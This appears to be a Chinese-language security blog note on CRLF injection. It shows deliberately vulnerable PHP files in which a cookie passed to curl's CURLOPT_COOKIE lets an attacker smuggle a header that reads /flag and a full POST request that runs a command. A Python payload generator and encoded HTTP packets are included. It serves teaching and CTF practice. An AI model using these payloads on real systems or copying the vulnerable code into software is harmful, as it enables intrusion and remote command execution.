CRLF 注入
2023-11-14 Skill

1. 注入 HTTP 头

CRLF 指的是回⻋符和换⾏符 \r\n, HTTP 数据包中的每⼀⾏都会使⽤ CRLF 作为分隔符, 其中 Header 每⾏使⽤⼀个 CRLF 分隔, Header 和 Body 之间使⽤两个CRLF 分隔

在某些情况下, 如果我们能够控制 HTTP 数据包中的某些字段, 并且可以注⼊ CRLF 字符, 那么我们就可以构造出其它的 HTTP 头, 甚⾄是注⼊⼀个完整的 HTTP 请求、

eg.

index.php

<?php

if (!isset($_COOKIE['uid'])) {
    $_COOKIE['uid'] = uniqid();
    setcookie('uid', $_COOKIE['uid']);
}

$uid = $_COOKIE['uid'];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1/backend.php");
curl_setopt($ch, CURLOPT_COOKIE, "uid=".$uid);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);

echo $output;
    
?>

backend.php

<?php
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1' && $_SERVER['REMOTE_ADDR']!== 'localhost' && $_SERVER['REMOTE_ADDR'] !== '::1') {
    die('Access denied');
}

if (!isset($_COOKIE['uid'])) {
    die('No cookie');
}

$uid = $_COOKIE['uid'];

echo 'Your uid is: '.$uid;

// only for local test
if (isset($_SERVER['HTTP_FILENAME'])) {
    $filename = $_SERVER['HTTP_FILENAME'];
    echo file_get_contents($filename);
}

?>

backend.php 会通过 HTTP Header 中 Filename 的值读取⽂件, 但是限制了只能通过本地 IP 访问

index.php 会通过 curl 系列函数向 backend.php 发送请求, 并且携带⼀个 uid cookie

根据参考⽂章, 这⾥ curl 配置的参数 CURLOPT_COOKIE 并不会忽略 CRLF 字符, 因此我们可以在 uid 这个 cookie 中注⼊ CRLF 字符, 然后构造⼀个新的 HTTP 头, 最终读取 flag

http 包:

GET / HTTP/1.1
Host: 127.0.0.1:10800
Cookie: uid=651fe17d4a83d%0d%0aFilename: /flag
Connection: close

2. 注入完整 HTTP 请求

CRLF 注⼊除了能够构造⼀个新的 HTTP 头, 在某些情况下还能够构造出⼀个完整的 HTTP 请求

eg.

index.php

<?php

if (!isset($_COOKIE['uid'])) {
    $_COOKIE['uid'] = uniqid();
    setcookie('uid', $_COOKIE['uid']);
}

$uid = $_COOKIE['uid'];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1/backend.php");
curl_setopt($ch, CURLOPT_COOKIE, "uid=".$uid);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);

echo $output;

?>

backend.php

<?php

if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1' && $_SERVER['REMOTE_ADDR'] !== 'localhost' && $_SERVER['REMOTE_ADDR'] !== '::1') {
    die('Access denied');
}

if (!isset($_COOKIE['uid'])) {
    die('No cookie');
}

$uid = $_COOKIE['uid'];

echo 'Your uid is: '.$uid;

// only for local test
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $cmd = $_POST['cmd'];
    system($cmd);
}

?>

backend.php 会接受 POST 传递的 cmd 并作为命令执⾏, 但是限制了只能通过本地 IP 访问

index.php 会通过 curl 系列函数向 backend.php 发送 GET 请求, 并且携带⼀个 uid cookie

根据参考⽂章, 这⾥ curl 配置的参数 CURLOPT_COOKIE 并不会忽略 CRLF 字符, 因此我们可以在 uid 这个 cookie 中注⼊ CRLF 字符, 然后构造⼀个完整的 HTTP 请求,最终实现 RCE 读取 flag

exp:

from urllib.parse import quote

data = '''cmd=cp /flag /var/www/html/flag.txt'''

payload = '''

POST /backend.php HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: uid=evil
Content-Length: {}

{}'''.format(len(data), data).replace('\n', '\r\n')

print(quote(payload))

payload:

%0D%0A%0D%0APOST%20/backend.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0
AConnection%3A%20close%0D%0AContent-Type%3A%20application/x-www-form-ur
lencoded%0D%0ACookie%3A%20uid%3Devil%0D%0AContent-Length%3A%2035%0D%0A%
0D%0Acmd%3Dcp%20/flag%20/var/www/html/flag.txt

http 包:

GET / HTTP/1.1
Host: 127.0.0.1:10800
Cookie:
uid=123%0D%0A%0D%0APOST%20/backend.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0
.1%0D%0AConnection%3A%20close%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0ACookie%3A%20uid%3Devil%0D%0AContent-Length%3A%2035
%0D%0A%0D%0Acmd%3Dcp%20/flag%20/var/www/html/flag.txt
Connection: close

需要注意构造出来的新的 http 请求并不会有任何回显, 但是实际上命令已经成功执⾏, 因此这⾥选择将 flag 复制到 web ⽬录下,访问 flag.txt 查看 flag